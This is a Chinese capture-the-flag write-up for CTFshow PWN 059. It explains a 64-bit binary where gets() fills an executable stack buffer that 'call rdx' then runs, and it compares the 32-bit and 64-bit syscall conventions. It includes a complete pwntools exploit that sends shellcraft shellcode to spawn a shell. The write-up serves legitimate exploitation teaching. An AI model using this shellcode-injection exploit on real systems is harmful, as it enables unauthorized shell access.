CTFshow PWN 059 详解:64 位架构下 Ret2Shellcode 进阶与指令集适配
详细解析了 CTFshow PWN 059 题目的 64 位栈执行漏洞。通过分析 checksec 确认栈可执行,利用 IDA 汇编分析发现 main 函数中存在 call rdx 后门。文章对比了 32 位与 64 位系统调用差异,提供了基于 Python pwnlib 和 shellcraft 的 Exploit 脚本,并总结了常见踩坑经验。

详细解析了 CTFshow PWN 059 题目的 64 位栈执行漏洞。通过分析 checksec 确认栈可执行,利用 IDA 汇编分析发现 main 函数中存在 call rdx 后门。文章对比了 32 位与 64 位系统调用差异,提供了基于 Python pwnlib 和 shellcraft 的 Exploit 脚本,并总结了常见踩坑经验。

在上一关 pwn 058 中,我们通过 32 位的 call eax 成功在可执行栈上起舞。今天我们要面对的是它的 64 位进阶版 —— pwn 059。题目依然标榜着:"64 位 无限制"。
从 32 位跨越到 64 位,绝对不是简单的寄存器改个名字(r 开头)那么简单。地址空间的扩大、传参约定的改变以及对指令对齐的要求,都让这次的'无限制'挑战增加了一丝硬核的味道。
~/Desktop .............................................................. at 16:20:10 > checksec pwn
[*] '/home/shining/Desktop/pwn'
Arch: amd64-64-little <-- 核心差异:64 位架构
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing <-- 栈可执行 (RWX)
PIE: No PIE (0x400000)
Stack: Executable <-- 权限确认为 RWX
RWX: Has RWX segments
Stripped: No
深度原理分析: 依然是熟悉的 GNU_STACK missing。在 64 位环境下,这种配置同样意味着栈上没有任何执行限制。
在 64 位下,反编译器(F5)有时会因为复杂的栈平衡调整而报错。
当你尝试在 IDA 中按下 F5 时,可能会弹出:4006F9: call analysis failed
技术解毒:这不是你的 IDA 坏了,而是出题人故意使用了'寄存器间接调用'(Indirect Call)。由于 call rdx 在静态分析时无法确定 rdx 到底指向哪,IDA 的 F5 插件无法构建完整的控制流图,因此罢工。这时候,我们必须回归最原始的武器:阅读汇编。
ctfshow 函数观察 ctfshow 的汇编实现:
.text:00000000004005BF mov [rbp+s], rdi ; 接收来自 main 的缓冲区地址
.text:00000000004005C3 mov rax, [rbp+s]
.text:00000000004005C7 mov rdi, rax ; 将地址传给 rdi 作为 gets 的参数
.text:00000000004005CF call _gets ; 【核心漏洞】无限制读取输入
.text:00000000004005D4 mov rax, [rbp+s]
.text:00000000004005D8 mov rdi, rax ; 传回给 puts 打印出来
.text:00000000004005DB call _puts
main 函数的执行流劫持回到 main 函数,观察程序在调用 ctfshow 后的动作:
.text:00000000004006DE lea rax, [rbp+var_A0] ; 1. 计算栈上缓冲区 var_A0 的首地址
.text:00000000004006E5 mov rdi, rax ; 2. 作为参数传入 ctfshow
.text:00000000004006E8 call ctfshow ; 3. 调用 gets 往该地址填充数据
.text:00000000004006ED lea rdx, [rbp+var_A0] ; 4. 重新将同一块地址加载到 rdx
.text:00000000004006F4 mov eax, 0
.text:00000000004006F9 call rdx ; 5. 【绝杀】直接跳转到 rdx 执行!
逻辑总结: 这又是一个'官方后门'。程序在栈上开辟了 0xA0(160 字节)的空间,让你通过 gets 填入数据,填完后立刻通过 call rdx 命令 CPU 去执行这块空间的内容。由于栈是可执行的,我们只需注入 64 位 Shellcode。
在 64 位下编写 EXP,最重要的一步是正确设置 context。
在 64 位下编写 EXP,最重要的一步是正确设置 context。我们需要深刻理解 64 位与 32 位在底层的本质区别。
| 特性 | 32 位 (x86) | 64 位 (amd64) |
|---|---|---|
| 系统调用指令 | int 0x80 | syscall |
| 调用号寄存器 | eax | rax |
| 参数 1 寄存器 | ebx | rdi |
| 参数 2 寄存器 | ecx | rsi |
| 参数 3 寄存器 | edx | rdx |
| 参数 4-6 寄存器 | esi, edi, ebp | r10, r8, r9 |
| execve 调用号 | 11 (0x0b) | 59 (0x3b) |
| 地址/寄存器位宽 | 4 字节 (32-bit) | 8 字节 (64-bit) |
深度解析:
syscall 指令,它比老旧的 int 0x80 软中断执行效率更高,且寄存器传参的改变减少了访存开销。eax=11 调 syscall,你调用的其实是 munmap 而不是 execve,结果必然是程序崩溃。from pwn import *
# 1. 基础配置:由于是 64 位题目,必须指定架构为 amd64
context(arch='amd64', os='linux', log_level='debug')
# 2. 建立连接:本地调试用 process,远程用 remote
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show', 28124)
# 3. 生成 Shellcode:利用 shellcraft 快速构造 amd64 拿 shell 的机器码
shellcode = asm(shellcraft.sh())
# 4. 发送攻击载荷:直接发送,不需要 Padding 填充
io.sendline(shellcode)
# 5. 开启交互:获取 Shell 权限
io.interactive()
64 位 CPU 的寻址和指令长度完全不同。在 64 位程序里跑 32 位代码会触发 Illegal Instruction。context(arch='amd64') 是你的救命稻草。
如果脚本在远程报错:
remote 函数里的五位端口号与网页端当前显示的一致。遇到 call analysis failed 说明你撞到了'间接跳转'。手动看 call 前面的寄存器来源(比如本题的 rdx 是从哪来的),只要它指向你的输入区,直接打就完事了。

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online
将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online